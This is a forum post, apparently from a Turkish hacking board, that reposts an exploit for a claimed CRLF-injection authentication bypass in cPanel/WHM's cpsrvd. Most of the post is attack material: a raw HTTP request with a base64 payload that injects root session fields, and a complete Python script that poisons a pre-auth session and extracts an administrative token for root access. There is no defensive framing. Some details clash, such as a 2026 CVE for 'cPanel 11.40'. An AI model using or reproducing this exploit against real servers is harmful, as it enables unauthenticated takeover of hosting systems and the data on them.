Hoşgeldin Misafir

cPanel - CRLF Injection

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
# ExploitTitle: cPanel 11.40 - CRLF Injection
# Author: nu11secur1tyAI
# Date: 2026-04-30
# Vendor: cPanel, L.L.C.
# Software: cPanel & WHM (cpsrvd)
# Reference: CVE-2026-41940 / watchTowr-2026-01

## Description:
A critical authentication bypass vulnerability exists in the cPanel/WHM
`cpsrvd` daemon due to improper neutralization of line delimiters (CRLF) in
the `whostmgrsession` cookie and `Authorization` headers. An
unauthenticated remote attacker can leverage this flaw to inject malicious
session parameters directly into the server's flat-file session metadata
store. By injecting sequences such as `user=root`, `hasroot=1`, and
`tfa_verified=1`, the attacker subverts the internal authentication logic,
forcing the system to issue a valid administrative session token
(`/cpsessXXXXXXXXXX/`). This grants the attacker full `root` privileges
over the WHM interface and the host operating system without requiring
valid credentials.

STATUS: MEDIUM - HIGH / Vulnerability

[+] Payload:
```http
GET / HTTP/1.1
Host: [TARGET_HOST]:2087
Authorization: Basic
cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[PREAUTH_SESSION_ID]
Connection: close
```

[+] Exploit (Python):

import argparse
import re
import requests
import urllib.parse
import urllib3

# Disable SSL warnings for cleaner output
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Crafted B64 payload:
#
root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
PAYLOAD_B64 =
"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"

def exploit(target):
    s = requests.Session()
    s.verify = False

    print(f"[*] Initializing attack on {target}...")

    # Stage 1: Obtain pre-auth session base
    try:
        r = s.post(f"{target}/login/?login_only=1", data={"user": "root",
"pass": "wrong_pass"}, allow_redirects=False, timeout=10)
        cookie = r.headers.get("Set-Cookie", "")
        match = re.search(r"whostmgrsession=([^;,]+)", cookie)
        if not match:
            print("[-] Error: Could not retrieve whostmgrsession cookie.")
            return
        session_base = urllib.parse.unquote(match.group(1))
        print(f"[+] Obtained session base: {session_base}")

        # Stage 2: Poison session via CRLF Injection
        headers = {
            "Authorization": f"Basic {PAYLOAD_B64}",
            "Cookie": f"whostmgrsession={urllib.parse.quote(session_base)}",
            "Connection": "close"
        }
        r = s.get(f"{target}/", headers=headers, allow_redirects=False,
timeout=10)

        # Stage 3: Extract leaked security token
        location = r.headers.get("Location", "")
        token_match = re.search(r"/cpsess\d{10}", location)

        if token_match:
            token = token_match.group(0)
            print(f"[!] EXPLOIT SUCCESSFUL!")
            print(f"[!] Leaked Token: {token}")
            print(f"[!] Access URL: {target}{token}/")
        else:
            print("[-] Exploit failed. The target may be patched or
protected by a WAF.")

    except Exception as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="cPanel/WHM CVE-2026-41940
Exploit")
    parser.add_argument("--target", required=True, help="Target URL (e.g.,
[https://192.168.1.1:2087](https://192.168.1.1:2087))")
    args = parser.parse_args()
    exploit(args.target.rstrip("/"))

```